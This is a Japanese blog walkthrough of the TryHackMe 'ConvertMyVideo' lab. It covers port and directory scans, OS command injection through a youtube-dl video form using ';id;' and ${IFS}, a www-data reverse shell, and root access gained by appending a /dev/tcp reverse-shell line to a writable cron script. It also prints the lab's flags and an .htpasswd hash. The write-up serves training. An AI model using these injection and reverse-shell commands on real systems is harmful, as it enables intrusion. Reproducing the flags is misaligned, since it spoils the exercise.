1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】ConvertMyVideo:Walkthrough

Posted at

概要

TryHackMe「ConvertMyVideo」のWalkthroughです。

Task1

Q1.What is the name of the secret folder?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.147.55 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
|   256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_  256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29

80番ポートにアクセスします。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://10.10.147.55
[14:19:48] 301 -  309B  - /js  ->  http://10.10.147.55/js/
[14:20:10] 401 -  459B  - /admin
[14:20:56] 301 -  313B  - /images  ->  http://10.10.147.55/images/
[14:21:40] 301 -  310B  - /tmp  ->  http://10.10.147.55/tmp/

/admin配下はHTTP Basic認証がかけられています。

A.admin

Q2.What is the user to access the secret folder?

/js/main.jsを確認すると、変換処理が分かりました。

/js/main.js
$(function () {
    $("#convert").click(function () {
        $("#message").html("Converting...");
        $.post("/", { yt_url: "https://www.youtube.com/watch?v=" + $("#ytid").val() }, function (data) {
            try {
                data = JSON.parse(data);
                if(data.status == "0"){
                    $("#message").html("<a href='" + data.result_url + "'>Download MP3</a>");
                }
                else{
                    console.log(data);
                    $("#message").html("Oops! something went wrong");
                }
            } catch (error) {
                console.log(data);
                $("#message").html("Oops! something went wrong");
            }
        });
    });

});

video idを送信すると/tmp/downloads配下にリザルトのmp3ファイルが保存されるようです。

image.png

また、エラー文からyoutube-dlを使用していることが分かりました。

送信したURLを受け取ってサーバー側でコマンドを実行していると予測できます。

$ youtube-dl [OPTIONS] URL [URL...]

その場合、OSコマンドインジェクションが出来そうです。
ペイロードを試行していると、;id;でOSコマンドインジェクションが成功しました。

image.png

リバースシェル用のスクリプトファイルをターゲットサーバーに設置します。
スペースには${IFS}を使用します。

image.png

Netcatでリッスンし、設置したシェルスクリプトを実行するとwww-dataのシェルを取得できました。

image.png

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.19] 43980
bash: cannot set terminal process group (844): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dmv:/var/www/html$ whoami
whoami

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

admin/.htpasswdを見ると、/adminに必要な認証情報を得られました。

$ cat admin/.htpasswd
cat admin/.htpasswd
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/

A.itsmeadmin

Q3.What is the user flag?

admin/flag.txtからユーザーフラグを入手できました。

$ cat admin/flag.txt
cat admin/flag.txt
flag{0d8486a0c0c42503bb60ac77f4046ed7}

A.flag{0d8486a0c0c42503bb60ac77f4046ed7}

Q4.What is the root flag?

pspyでプロセスを監視すると、/var/www/html/tmp/clean.shが定期的に実行されていると分かりました。

$ ./pspy32

2024/11/28 07:59:01 CMD: UID=0     PID=26135  | /usr/sbin/CRON -f 
2024/11/28 08:00:01 CMD: UID=0     PID=26142  | bash /var/www/html/tmp/clean.sh 
2024/11/28 08:00:01 CMD: UID=0     PID=26141  | /bin/sh -c cd /var/www/html/tmp && bash /var/www/html/tmp/clean.sh

/var/www/html/tmp/clean.shの権限を確認すると、www-dataで書き込み権限があります。

$ ls -la clean.sh
ls -la clean.sh
-rw-r--r-- 1 www-data www-data 17 Apr 12  2020 clean.sh

リバースシェルのコードをclean.shに追記します。

$ echo "sh -i >& /dev/tcp/10.6.55.144/12345 0>&1" >> clean.sh

Netcatでリッスンしているとrootのシェルを取得できました。

$ nc -lvnp 12345                                   
listening on [any] 12345 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.19] 55048
sh: 0: can't access tty; job control turned off
# whoami
root

/root/root.txtからルートフラグを入手できます。

# cat /root/root.txt
flag{d9b368018e912b541a4eb68399c5e94a}

A.flag{d9b368018e912b541a4eb68399c5e94a}

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?